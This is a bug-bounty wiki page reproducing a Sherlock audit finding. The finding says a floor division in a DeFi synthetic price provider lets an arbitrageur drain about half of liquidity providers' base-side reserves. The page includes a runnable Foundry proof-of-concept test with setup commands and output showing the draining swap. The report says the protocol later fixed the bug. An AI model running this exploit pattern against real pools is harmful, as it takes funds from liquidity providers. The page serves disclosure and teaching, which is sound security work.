Skip to content
Business logic Audit finding Advanced

Any arbitrageur will drain roughly half of the base-side reserves from liquidity providers of low-priced synthetic pools

In synthetic mode the price provider divides two 8-decimal USD oracle prices and floors the result to an integer, so for pairs where the base token is much cheaper than the quote token the cross price is truncated by up to about half. The pool then builds its whole liquidity band on that wrong mid, letting any arbitrageur buy the base token far below fair value in one swap and drain roughly half of the base-side reserves from liquidity providers.

0x04 Follow with 0x237tchio237, 0x4non and 47 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/200

Found by

0x04, 0x237tchio237, 0x4non, 0x5ul3x, 0xDemon, 0xZHD_S, 0xastronatey, 0xeix, 0xnija, ABA, ACai7, Acson, AestheticBhai, Artorias, Artur, AskSecurity, BaiMaStryke, Bizarro, Bluedragon, CarlosMB138, ChainSentinel-FO, Civitasmass, D4N0GOTHACKED, Dheeraj_Shah, Edoscoba, GPT-wrapper, I1iveF0rTh1Sh1t, InfiniteSec, Invalidatoors, Ironsidesec, Jornason, Josh4324, JustSimpleHunter, Lamsya, Lucas-FManager, Maroutis, Mistac45, Otter11, Peter1992, PhinanzDev, ProtocolGhost, Purpledragon, QED, R-Nemes, Ryozen, Sacnam, ShadowSec, SiddiqX7860, Sikoh, Syv, Tathung, Thisisit, Tradi3, TradingViews, Xtray03, Zer0Luck, ZeroTrust, aaron, adshao, aidan, angus14, ap4sh, archcypher, argo_the_hacker, axelot, bachpc, basia, belmo, bladeee, botdidy, buger, cccz, codecoffeeguy, coinsspor, dod4ufn, drMurlly, dumebi042, fadli0x, flora2627, funkornaut, gzeon, hacnho, heavyw8t, ibrahimatix0x01, inderchain, ironside, jangy, jayjoshix, jokerbuena, kaiserlimp0, khaye26, krikolkk, legat, m00nxx, mhkarazeybek, michae2xl, n0fr33w1f14u, neeloy, phantombugz, pkqs90, psyone, ret2basic.eth, rishiRich, rubencrxz, sahuang, santin0x, serial-coder, sgtpepper, shibdevv, shkedo, sonanh08t4, t.aksoy, t0x1c, thimthor, uba, undefined_joe, wakewolf, y4y, yaohao159258, ydam113, zcai, zerodaybugs, zhouxingxing, zpan

Summary

T-he 8decimal floor in the synthetic cross-price calculation will cause a loss of principal for liquidity providers, because any arbitrageur will buy the base token off the underpriced curve in a single swap.

In synthetic mode the AnchoredPriceProvider divides the two 8-decimal USD prices and truncates the result to an 8-decimal integer. For any pair where token0 is the cheaper asset, that quotient is a small integer, and truncating it throws away most of the price. The pool builds its whole band and its whole liquidity curve on top of that floored mid, so every bin is priced well below fair value and an arbitrageur sweeps the base side for a fraction of what it is worth. The feeds are honest the entire time; the bug is purely in how this contract computes the cross price.

Root Cause

In smart-contracts-poc/contracts/AnchoredPriceProvider.sol:267 the synthetic mid is computed as:

Solidity
mid = Math.mulDiv(mid, ORACLE_DECIMALS, mid2); // ORACLE_DECIMALS = 1e8, default Math.Rounding.Floor

mid (=price(baseFeedId)) and mid2 (=price(quoteFeedId)) are both 8-decimal USD prices. The result is the base token priced in the quote token, also in 8 decimals, and it is floored. When the true cross ratio is a small number in 8-decimal units (for example 1.9667), the floor drops it to 1, a ~49% downward error. That floored value is then fed straight into _computeBidAsk, which builds refBid/refAsk from it (AnchoredPriceProvider.sol:307-313 via _bandEdge at :244-250), so the reference band is centered on the wrong price. The band half-width (spreadBps + minMargin) is typically well under 1%, far smaller than the 20-50% floor error, so no bin edge ever reaches fair value.

The contest explicitly puts this class in scope: "The band math (floor/uMax, ceil rounding) is the entire safety boundary, an error there is the high-impact case. If the band math is incorrect and can lead to Medium or higher severity impact, it can be considered a valid issue." It also breaks hard invariant #4 (the anchored band must stay within mid ± (u + floor) of the true mid).

Internal Pre-conditions

  1. A synthetic AnchoredPriceProvider is deployed (quoteFeedId != 0) for a pair whose token0 is the cheaper asset, so the 8-decimal cross price mulDiv(price(token0_feed), 1e8, price(token1_feed)) is a small integer in {1, 2, 3, 4}.
  2. A MetricOmmPool is created on that provider and liquidity providers hold reserves on the base side, worth at least a few hundred dollars.
  3. minMargin + maxSpreadBps stay at ordinary values (the band is tight), which is the normal in-envelope configuration.

External Pre-conditions

  1. The base/quote USD price ratio sits in the low-mid window, i.e. the base token is priced roughly 1e-8 to 4e-8 of the quote token (for a $3000 quote that is a base token around $0.00003 to $0.00012). This is a standing market state for many low-priced tokens and it is not attacker controlled.

Attack Path

  1. A curator (or anyone, the factory createAnchoredProvider is permissionless with an allow-listed oracle) deploys the synthetic provider for the low-priced pair and a pool is created on it. Liquidity providers deposit base-token reserves.
  2. The oracles publish honest prices. getSellAndBuyPrices() on the pool returns a band centered on the floored mid, roughly 49% below the true cross. Nothing reverts and the pool looks healthy.
  3. The arbitrageur calls MetricOmmPool.swap to buy token0 with token1 (zeroForOne = false), with priceLimitX64 = type(uint128).max, so the swap walks the entire mispriced ask curve.
  4. The swap fills the whole base-side inventory at prices at or below mid_floored * (1 + half). The arbitrageur pays about half of the true value of the tokens received.
  5. The arbitrageur immediately holds base tokens worth far more than the quote tokens paid. Liquidity providers are left with the quote tokens paid in, which are worth about half of what the pool held before.

Impact

The liquidity providers suffer an approximate loss of ~49% of the base-side principal in a single swap. In the PoC, the pool value drops from $9,440 to $4,830, a loss of $4,609.75 (48% of the pool). The arbitrageur gains that same amount. Measured on the affected LPs' base-side principal the loss is ~49%; measured against total pool value it still clears 20% at the top of the mid=1 window (a value-balanced pool loses ~24.5%), so it exceeds the Critical floor on either measurement axis. The magnitude scales with the price window: mid=1 gives roughly 20% to 50%, mid=2 up to ~33%, mid=3 up to ~25%, and drops below 20% past mid=4. Because token0 is fixed by the address-sorted token0 < token1 convention the ecosystem uses, this is unavoidable for the canonical pool of roughly half of all affected pairs (the ones whose cheap token sorts lower), with no on-chain guard and no way to invert without breaking router compatibility. The loss is present every block the ratio stays in the window and any arbitrageur can take it, so it is exploitable at any moment.

PoC

Runnable Foundry PoC. It wires the real MetricOmmPool (metric-core) to the real AnchoredPriceProvider + AnchoredProviderFactory + providers/OracleBase (smart-contracts-poc) and only injects the honest 8-decimal oracle price, which the program stipulates is always correct and non-stale. Nothing on the vulnerable path is mocked.

Setup (both projects share OpenZeppelin 5.5.0 and via_ir; metric-core's solc 0.8.35 / cancun satisfies the provider's ^0.8.28):

  1. In repo/metric-core/remappings.txt add: scp/=../smart-contracts-poc/contracts/
  2. In repo/metric-core/foundry.toml under [profile.default] add: allow_paths = ["../smart-contracts-poc"]
  3. Drop the file below in repo/metric-core/test/ and run:
Bash
cd repo/metric-core
forge test --match-contract PoC_SyntheticMidFloor -vv

Output:

Text
underprice %% (pool ask vs true mid): 49
pool value BEFORE (usd8): 944000000000        // $9,440
pool value AFTER  (usd8): 483024864001        // $4,830
ARB PROFIT (usd8): 460975135999               // $4,609.75
LP LOSS    (usd8): 460975135999               // $4,609.75
LP LOSS as %% of pool value: 48
Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

// PoC: AnchoredPriceProvider synthetic-mid floor mis-prices low-ratio pools, an arbitrageur
// drains the base-side reserve in one swap. Real pool + real provider + real oracle gates;
// only the honest 8-decimal price is injected (the program assumes oracle values are honest).

import {MetricOmmPoolBaseTest, Q64} from "./MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "../contracts/MetricOmmPool.sol";
import {BinState} from "../contracts/types/PoolStorage.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";

import {AnchoredProviderFactory} from "scp/AnchoredProviderFactory.sol";
import {AnchoredPriceProvider} from "scp/AnchoredPriceProvider.sol";
import {IAnchoredProviderFactory} from "scp/interfaces/IAnchoredProviderFactory.sol";
import {OracleBase} from "scp/oracles/providers/OracleBase.sol";
import {IOffchainOracle} from "scp/interfaces/IOffchainOracle.sol";
import {toTimeMs} from "scp/oracles/utils/TimeMs.sol";

// Real OracleBase with a setData writer standing in for an honest verified push (same pattern
// as the repo's own TestOracle). register / inSwap / priceGuard / staleness gates are all real.
contract HonestPricedOracle is OracleBase {
  constructor(address owner_, uint256 maxDrift) OracleBase(owner_, maxDrift) {}

  function setData(bytes32 feedId, uint64 price8, uint16 spread0, uint16 spread1, uint256 refSec) external {
    oracleData[feedId] = IOffchainOracle.OracleData({
      price: price8, spread0: spread0, spread1: spread1, timestampMs: toTimeMs(refSec * 1000)
    });
  }
}

contract PoC_SyntheticMidFloor is MetricOmmPoolBaseTest {
  uint64 internal constant TOKENA_USD_8 = 5_900;        // $0.000059
  uint64 internal constant WETH_USD_8   = 3_000 * 1e8;  // $3000 = 3e11

  bytes32 internal constant FEED_BASE  = keccak256("TOKENA/USD");
  bytes32 internal constant FEED_QUOTE = keccak256("WETH/USD");

  HonestPricedOracle internal honestOracle;
  AnchoredProviderFactory internal anchorFactory;
  AnchoredPriceProvider internal provider;
  address internal arb;

  // This test plays the pool's factory role (metric-core's canonical setup sets factory = address(this)).
  function isPool(address) external pure returns (bool) { return true; }

  function setUp() public override {
    super.setUp();
    vm.warp(1_000_000);
    arb = users[2];

    token0.mint(address(callers[1]), 1e30);
    token1.mint(address(callers[1]), 1e30);
    token0.mint(address(callers[2]), 1e30);
    token1.mint(address(callers[2]), 1e30);

    honestOracle = new HonestPricedOracle(address(this), 1 days);
    anchorFactory = new AnchoredProviderFactory(address(this));
    anchorFactory.addOracle(address(honestOracle));
    anchorFactory.setEnvelope(
      anchorFactory.DEFAULT_CLASS(),
      IAnchoredProviderFactory.Envelope({
        minMarginMin: 0, minMarginMax: 0,
        stalenessMin: 0, stalenessMax: 1 days,
        maxSpreadMin: 1, maxSpreadMax: 1000, exists: false
      })
    );

    // baseToken = token0 = the cheap token, so the floor bites.
    provider = AnchoredPriceProvider(
      anchorFactory.createAnchoredProvider(
        address(honestOracle), FEED_BASE, FEED_QUOTE,
        0, 1 days, 1000, false, int256(0), address(token0), address(token1)
      )
    );
    assertTrue(anchorFactory.isProvider(address(provider)), "curated, eligible anchored provider");

    pool = _deployAnchorPool(address(provider));
    _approveUsersForPool(address(pool));

    honestOracle.addApprovedFactory(address(this));
    honestOracle.register{value: 1}(FEED_BASE, address(pool), address(this));
    honestOracle.register{value: 1}(FEED_QUOTE, address(pool), address(this));

    honestOracle.setData(FEED_BASE, TOKENA_USD_8, 30, 0, block.timestamp);
    honestOracle.setData(FEED_QUOTE, WETH_USD_8, 30, 0, block.timestamp);

    // Load the base side (token0, upper bins) with ~$9.4k of drainable value.
    _addLiquidity(1, 1, 4, uint104(4e25), 0);
  }

  function _deployAnchorPool(address pp) internal returns (MetricOmmPool p) {
    (BinState[] memory nn, BinState[] memory ng) = _defaultBinStateArrays();
    p = _deployPoolAndRegister(
      PoolDeployParams({
        priceProvider: pp, extensions: _emptyExtensions(), extensionOrders: _emptyExtensionOrders(),
        immutablePriceProvider: true, protocolSpreadFeeE6: PROTOCOL_FEE, adminSpreadFeeE6: ADMIN_FEE,
        curBinDistFromProvidedPriceE6: 0, nonNegativeBinStates: nn, negativeBinStates: ng,
        protocolNotionalFeeE8: 0, adminNotionalFeeE8: 0, immutablePriceProviderForRegistry: pp,
        lowestBin: -1, highestBin: 0
      })
    );
  }

  function _usd8(uint256 rawAmount, uint64 price8) internal pure returns (uint256) {
    return rawAmount * uint256(price8) / 1e18;
  }

  function test_PoC_syntheticFloor_drainsLPs() public {
    // (A) The real pool quote is centered ~49% below the true cross.
    uint256 trueMidX64 = uint256(TOKENA_USD_8) * Q64 / uint256(WETH_USD_8);
    (, uint128 ask) = pool.getSellAndBuyPrices();
    emit log_named_uint("underprice %% (pool ask vs true mid)", 100 - (uint256(ask) * 100 / trueMidX64));
    assertLt(uint256(ask), trueMidX64 * 60 / 100, "pool ask must be >40% below the true cross");

    // (B) One swap sweeps the base side; value everything at the honest prices.
    uint256 poolValBefore = _usd8(token0.balanceOf(address(pool)), TOKENA_USD_8)
                          + _usd8(token1.balanceOf(address(pool)), WETH_USD_8);
    uint256 arbTok0Before = token0.balanceOf(arb);
    uint256 payerTok1Before = token1.balanceOf(address(callers[2]));

    int128 outAll = -int128(int256(token0.balanceOf(address(pool)))); // exact-out the whole base side
    _swap(2, arb, false, outAll, type(uint128).max);

    uint256 poolValAfter = _usd8(token0.balanceOf(address(pool)), TOKENA_USD_8)
                         + _usd8(token1.balanceOf(address(pool)), WETH_USD_8);
    uint256 token0Out = token0.balanceOf(arb) - arbTok0Before;
    uint256 token1In  = payerTok1Before - token1.balanceOf(address(callers[2]));

    uint256 lpLossUsd8 = poolValBefore - poolValAfter;
    uint256 arbProfitUsd8 = _usd8(token0Out, TOKENA_USD_8) - _usd8(token1In, WETH_USD_8);

    emit log_named_uint("pool value BEFORE (usd8)", poolValBefore);
    emit log_named_uint("pool value AFTER  (usd8)", poolValAfter);
    emit log_named_uint("ARB PROFIT (usd8)", arbProfitUsd8);
    emit log_named_uint("LP LOSS    (usd8)", lpLossUsd8);
    emit log_named_uint("LP LOSS as %% of pool value", lpLossUsd8 * 100 / poolValBefore);

    assertGt(lpLossUsd8, 100 * 1e8, "LP loss must exceed $100");
    assertGt(lpLossUsd8 * 100, poolValBefore * 20, "LP loss must exceed 20% of pool value");
    assertApproxEqRel(arbProfitUsd8, lpLossUsd8, 0.02e18, "arb profit ~= LP loss");
  }
}

Mitigation

No response

Discussion

Taridoku

Duplicates: #26, #170, #346, #354, #366, #393, #444, #475, #741, #763, #792, #840, #857, #865, #871, #883, #980, #1005, #1062, #1105, #1118, #1166, #1188, #1247, #1277, #1288, #1295, #1300, #1304, #1353, #1399, #1459, #1475, #1507, #1512, #1513, #1518, #1542, #1552, #1584, #1660, #1661, #1670, #1697, #1714, #1726, #1746, #1798, #1814, #1815, #1900, #1943, #1981, #1983, #1990, #2007, #2065, #2078, #2102, #2123, #2135, #2138, #2144, #2166, #2226, #2249, #2339, #2356, #2387, #2391, #2420, #2424, #2447, #2459, #2500, #2503, #2517, #2537, #2543, #2578, #2654, #2725, #2751, #2771, #2812, #2821, #2849

Valid. Protocol team suggests Medium but LJ leaning High. Pending confirmation. On the two-feed synthetic path the combined mid is computed as a floor division of the two 8-decimal oracle mids before the band math runs, so for a cheap-base, expensive-quote pair the true ratio truncates: it either floors to zero and stalls the feed, or lands up to about 50% low, and the anchored band cannot catch it because the band is centered on the already-wrong number. The pool prices every swap against that quote, letting arbitrageurs drain LP reserves. The trap is hidden rather than a visible configuration choice: the truncation error moves with the live oracle ratio, so an honestly created pool can quote near-correctly at deposit time and a roughly 1% oracle move then drives the error to its peak. A grouped proof drives a real swap that realizes about 48% of the base side as LP loss, clearing the High thresholds across a wide range of cheap-base pairs.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Oracle-Based-Pool/smart-contracts-poc/pull/15

The original report as published on Sherlock, by 0x04. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The synthetic cross price is computed with a floor division of two 8-decimal oracle prices, so a small true ratio is truncated to a tiny integer and the band is centred on a price up to about 50% too low.

Impact

Liquidity providers lose roughly 49% of the base-side principal in a single swap, with the loss scaling down as the floored mid grows and dropping below 20% past a mid of 4; the text notes no on-chain guard prevents it.

What the attacker needed

Synthetic provider on a cheap-base pair; token0 is the cheaper asset; LPs hold base-side reserves; ordinary tight band settings

The fix

The cross price should be computed with enough precision (or rounded up) so the band is not centred on a truncated value; the text says the protocol team fixed the issue in a pull request.

How it was found

  1. Deploy a synthetic anchored price provider for a pair whose token0 is the cheaper asset, and create a pool on it.
  2. Liquidity providers deposit base-token reserves while the oracles publish honest prices.
  3. The pool's sell and buy prices come back centred on the floored mid, roughly 49% below the true cross.
  4. The arbitrageur swaps quote token for the base token with the maximum price limit, walking the whole mispriced ask curve.
  5. The arbitrageur receives base tokens worth about twice what was paid, and the pool is left holding the quote tokens.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pool needs to know how much one token is worth in another token. Here it worked that out by dividing two dollar prices and then throwing away the decimal part, which is fine for big numbers but destroys small ones. Because the pool then set all its prices from that badly rounded number, a trader could buy the cheap token for about half its real value and the people who put money in the pool lost the difference.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x04

View all

3 more disclosed reports, best first.

More from Metric

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.